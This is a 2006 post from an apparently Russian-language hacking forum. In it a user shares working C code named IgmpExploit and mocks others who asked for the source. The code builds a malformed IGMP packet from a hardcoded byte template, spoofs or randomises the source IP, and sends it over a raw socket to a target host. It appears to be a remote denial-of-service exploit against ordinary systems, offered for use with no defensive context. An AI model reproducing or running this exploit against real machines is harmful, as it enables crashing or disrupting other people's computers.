Показать сообщение отдельно

  #3  
Старый 22.03.2006, 01:51
KEZ
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
Провел на форуме:
1941233

Репутация: 2726


По умолчанию

Цитата:
теперь ревут дайте сорцы
хахаха
ребят, я конечно все понимаю, но посмотреть снифером пакет и потом его послать - не особо сложно... Вот что я сделал - работает:

Код:
static char IgmpTemplate[] =
"\x47\x00\x00\x2c\x00\x64\x00\x00\x80\x02"
"\x24\x63\x0a\x00\x00\x01\x0a\x00\x00\x09"
"\x00\x00\x00\x00\x00\x00\x00\x00\x11\x05"
"\x04\xef\xe0\x00\x00\x01\x00\x00\x00\x01"
"\x0a\x00\x00\x09";

int seq_no = 0;

void Igmp_Fill( char *buf, DWORD src_ip, DWORD dst_ip )
{
	_memcpy( buf, IgmpTemplate, 44 );
	ipheader *iph = (ipheader*)buf;
	iph->ip_sum   = 0;
	iph->ip_dst   = src_ip+1;
	if (!src_ip) src_ip = (rand() << 16) | rand();
	iph->ip_src   = src_ip;
	iph->ip_id    = seq_no++;
}

int IgmpExploit( DWORD src_ip, DWORD dst_ip )
{
	SOCKET s = _socket( PF_INET, SOCK_RAW, IPPROTO_RAW );	
	if (s == INVALID_SOCKET) return 0;

	int bOpt = 0;
	if (_setsockopt( s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt, sizeof( bOpt ) ) == SOCKET_ERROR)
		return 0;

	if (!dst_ip) return 1;

	sockaddr_in s_a;
	s_a.sin_family = AF_INET;
	s_a.sin_addr.s_addr = dst_ip;

	char packet[44];
	_memset( packet, 0, 44 );

	Igmp_Fill( packet, src_ip, dst_ip );
	if (_sendto( s, packet, 44, 0, (struct sockaddr*)&s_a, sizeof( s_a ) ) == SOCKET_ERROR)
		return 2;

	_closesocket( s );

	return 3;
}
кто хоть чтото понял - разбереться в антиламере

Последний раз редактировалось KEZ; 22.03.2006 в 01:56..
 
Ответить с цитированием